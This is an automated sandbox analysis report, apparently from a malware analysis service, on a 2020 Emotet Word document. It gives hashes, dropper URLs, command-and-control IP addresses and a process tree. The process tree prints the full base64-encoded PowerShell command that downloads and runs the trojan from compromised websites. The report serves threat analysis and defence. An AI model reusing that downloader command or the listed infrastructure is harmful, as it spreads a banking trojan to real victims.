emotet | f153d1cd2401db480ab764a78b8a1928c558755e34f37ecc8ece84b1f14e6964

Analysis

max time kernel
136s
max time network
140s
platform
windows10_x64
resource
win10
submitted
13/08/2020, 19:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
emotet_e2_f153d1cd2401db480ab764a78b8a1928c558755e34f37ecc8ece84b1f14e6964_2020-08-13__191951._doc.doc
Size 232KB
Sample200813-tkr89pdxrj
SHA256 f153d1cd2401db480ab764a78b8a1928c558755e34f37ecc8ece84b1f14e6964
MD5 faf63344b3ad5b483bf3e57415eed280
SHA1 004c5ffd59b4b146e62b660df207df8e6b672080
SHA512 aa0b20cadfdb86789818672e5aa92fba5e76ea8cbbfbe9383e6cb661afdb848a7c33f10d486ed55ca1457dfb076429ff72a1dbfb526cdfb39e34973600eb950f
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://mezoonline.com/wp-content/g1e6_rf_i/
exe.dropper
http://xuedashuai.xyz/wp-includes/am_mh_09e9aswb/
exe.dropper
http://copyta.com/wp-admin/h33_4u_dmpy/
exe.dropper
https://office.horussolution.com/files/jk31_bx_pr/
exe.dropper
http://football411.net/wp-content/nlz_dqquj_s/

Extracted

Family

emotet

24.233.112.152:80
69.30.203.214:8080
192.210.135.126:8080
47.144.21.12:443
157.245.99.39:8080
119.198.40.179:80
62.75.141.82:80
181.211.11.242:80
167.86.90.214:8080
95.213.236.64:8080
87.106.139.101:8080
109.74.5.95:8080
142.105.151.124:443
47.146.117.214:80
185.94.252.104:443
2.58.16.85:7080
222.214.218.37:4143
85.105.205.77:8080
190.160.53.126:80
107.185.211.16:80
104.131.11.150:443
189.212.199.126:443
104.131.44.150:8080
201.173.217.124:443
199.101.86.142:8080
121.124.124.40:7080
110.145.77.103:80
168.235.67.138:7080
5.39.91.110:7080
78.24.219.147:8080
37.187.72.193:8080
114.146.222.200:80
47.146.32.175:80
76.27.179.47:80
169.239.182.217:8080
91.211.88.52:7080
41.60.200.34:80
116.203.32.252:8080
153.126.210.205:7080
157.147.76.151:80
74.120.55.163:80
209.141.54.221:8080
67.205.85.243:8080
46.105.131.79:8080
74.208.45.104:8080
180.92.239.110:8080
70.167.215.250:8080
61.19.246.238:443
83.110.223.58:443
109.116.214.124:443
87.106.136.232:8080
97.82.79.83:80
72.12.127.184:443
137.59.187.107:8080
79.98.24.39:8080
139.59.60.244:8080
203.117.253.142:80
104.236.246.93:8080
24.137.76.62:80
165.165.171.160:8080
181.230.116.163:80
93.51.50.171:8080
139.130.242.43:80
85.152.162.105:80
62.138.26.28:8080
152.168.248.128:443
188.83.220.2:443
47.153.182.47:80
203.153.216.189:7080
81.2.235.111:8080
95.179.229.244:8080
183.101.175.193:80
24.43.99.75:80
174.102.48.180:80
173.62.217.22:443
190.55.181.54:443
209.143.35.232:80
103.86.49.11:8080
204.197.146.48:80
200.41.121.90:80
113.160.130.116:8443
83.169.36.251:8080
176.111.60.55:8080
37.139.21.175:8080
24.179.13.119:80
5.196.74.210:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3588	3784	powersheLL.exe	68

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/796-15-0x0000000002370000-0x000000000237C000-memory.dmp	emotet
behavioral2/memory/796-15-0x0000000002370000-0x000000000237C000-memory.dmp	emotet
behavioral2/memory/1256-18-0x0000000002440000-0x000000000244C000-memory.dmp	emotet
behavioral2/memory/1256-18-0x0000000002440000-0x000000000244C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
8	3588	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
796	Qkaz.exe
1256	asycfilt.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\slc\asycfilt.exe	Qkaz.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2808	WINWORD.EXE
2808	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3588	powersheLL.exe
3588	powersheLL.exe
3588	powersheLL.exe
1256	asycfilt.exe
1256	asycfilt.exe
1256	asycfilt.exe
1256	asycfilt.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3588	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2808	WINWORD.EXE
2808	WINWORD.EXE
2808	WINWORD.EXE
2808	WINWORD.EXE
2808	WINWORD.EXE
2808	WINWORD.EXE
2808	WINWORD.EXE
2808	WINWORD.EXE
2808	WINWORD.EXE
796	Qkaz.exe
796	Qkaz.exe
1256	asycfilt.exe
1256	asycfilt.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3588 wrote to memory of 796	3588	powersheLL.exe	74
PID 3588 wrote to memory of 796	3588	powersheLL.exe	74
PID 3588 wrote to memory of 796	3588	powersheLL.exe	74
PID 796 wrote to memory of 1256	796	Qkaz.exe	76
PID 796 wrote to memory of 1256	796	Qkaz.exe	76
PID 796 wrote to memory of 1256	796	Qkaz.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_f153d1cd2401db480ab764a78b8a1928c558755e34f37ecc8ece84b1f14e6964_2020-08-13__191951._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2808

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABVAEgAUgBJAEgAcQBxAGsAPQAnAEcATgBLAFMASgBqAGcAYgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGAARQBjAFUAYABSAGkAYABUAFkAcAByAG8AYABUAG8AQwBPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABaAFoARwBQAEgAYQBiAHMAIAA9ACAAJwBRAGsAYQB6ACcAOwAkAE0ARABKAEUASwB1AHYAeAA9ACcASABJAFYAWABaAGcAbgBuACcAOwAkAFYAVQBDAEMAVABxAGwAagA9ACQAZQBuAHYAOgB0AGUAbQBwACsAJwBcACcAKwAkAFoAWgBHAFAASABhAGIAcwArACcALgBlAHgAZQAnADsAJABMAEkARABFAFYAdQBoAHEAPQAnAEkARwBLAFEAUgB1AGYAdQAnADsAJABXAEsASQBCAFEAZgB4AGwAPQAmACgAJwBuAGUAdwAnACsAJwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAG4ARQBUAC4AVwBlAEIAYwBMAEkAZQBuAHQAOwAkAEQAVABHAFkATQBvAGUAawA9ACcAaAB0AHQAcAA6AC8ALwBtAGUAegBvAG8AbgBsAGkAbgBlAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AZwAxAGUANgBfAHIAZgBfAGkALwAqAGgAdAB0AHAAOgAvAC8AeAB1AGUAZABhAHMAaAB1AGEAaQAuAHgAeQB6AC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AYQBtAF8AbQBoAF8AMAA5AGUAOQBhAHMAdwBiAC8AKgBoAHQAdABwADoALwAvAGMAbwBwAHkAdABhAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBoADMAMwBfADQAdQBfAGQAbQBwAHkALwAqAGgAdAB0AHAAcwA6AC8ALwBvAGYAZgBpAGMAZQAuAGgAbwByAHUAcwBzAG8AbAB1AHQAaQBvAG4ALgBjAG8AbQAvAGYAaQBsAGUAcwAvAGoAawAzADEAXwBiAHgAXwBwAHIALwAqAGgAdAB0AHAAOgAvAC8AZgBvAG8AdABiAGEAbABsADQAMQAxAC4AbgBlAHQALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AbgBsAHoAXwBkAHEAcQB1AGoAXwBzAC8AJwAuACIAcwBwAGwAYABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABZAEMARgBWAE8AcABuAGYAPQAnAFcATABKAFoATwBjAHkAcAAnADsAZgBvAHIAZQBhAGMAaAAoACQATABGAFQASQBBAHEAcwBoACAAaQBuACAAJABEAFQARwBZAE0AbwBlAGsAKQB7AHQAcgB5AHsAJABXAEsASQBCAFEAZgB4AGwALgAiAEQATwB3AE4AYABMAE8AYQBkAGYAYABpAGAATABlACIAKAAkAEwARgBUAEkAQQBxAHMAaAAsACAAJABWAFUAQwBDAFQAcQBsAGoAKQA7ACQATABIAEgAUABYAHUAeABtAD0AJwBJAFEAUgBCAFMAZgBzAG8AJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABWAFUAQwBDAFQAcQBsAGoAKQAuACIAbABlAGAATgBgAEcAVABIACIAIAAtAGcAZQAgADIAOAA5ADEAMwApACAAewAuACgAJwBJAG4AdgBvACcAKwAnAGsAJwArACcAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABWAFUAQwBDAFQAcQBsAGoAKQA7ACQAUABUAE8AUgBQAHMAawBmAD0AJwBJAFMASABTAEIAYwB0AG0AJwA7AGIAcgBlAGEAawA7ACQASQBFAEwAWQBDAHgAZgBwAD0AJwBVAFQARQBIAFoAcQBzAHoAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWABRAFMAVwBNAHAAawBkAD0AJwBBAFkAUABaAFkAdABtAGYAJwA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3588
- C:\Users\Admin\AppData\Local\Temp\Qkaz.exe
  "C:\Users\Admin\AppData\Local\Temp\Qkaz.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:796
- - C:\Windows\SysWOW64\slc\asycfilt.exe
    "C:\Windows\SysWOW64\slc\asycfilt.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1256

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/796-15-0x0000000002370000-0x000000000237C000-memory.dmp

Download

memory/1256-18-0x0000000002440000-0x000000000244C000-memory.dmp

Download

memory/2808-4-0x000001F5D959D000-0x000001F5D95A2000-memory.dmp

Download

memory/2808-8-0x000001F5D967E000-0x000001F5D9692000-memory.dmp

Download

memory/2808-7-0x000001F5D967E000-0x000001F5D9692000-memory.dmp

Download

memory/2808-6-0x000001F5D967E000-0x000001F5D9692000-memory.dmp

Download

memory/2808-5-0x000001F5D70C2000-0x000001F5D70C7000-memory.dmp

Download

memory/2808-0-0x00007FFBF3170000-0x00007FFBF3836000-memory.dmp

Download

memory/2808-3-0x000001F5D959D000-0x000001F5D95A2000-memory.dmp

Download

memory/2808-2-0x000001F5D959D000-0x000001F5D95A2000-memory.dmp

Download

memory/2808-1-0x000001F5D959A000-0x000001F5D959D000-memory.dmp

Download

memory/3588-9-0x00007FFBEB5A0000-0x00007FFBEBF8C000-memory.dmp

Download

memory/3588-10-0x000001A2A67D0000-0x000001A2A67D1000-memory.dmp

Download

memory/3588-11-0x000001A2A6980000-0x000001A2A6981000-memory.dmp

Download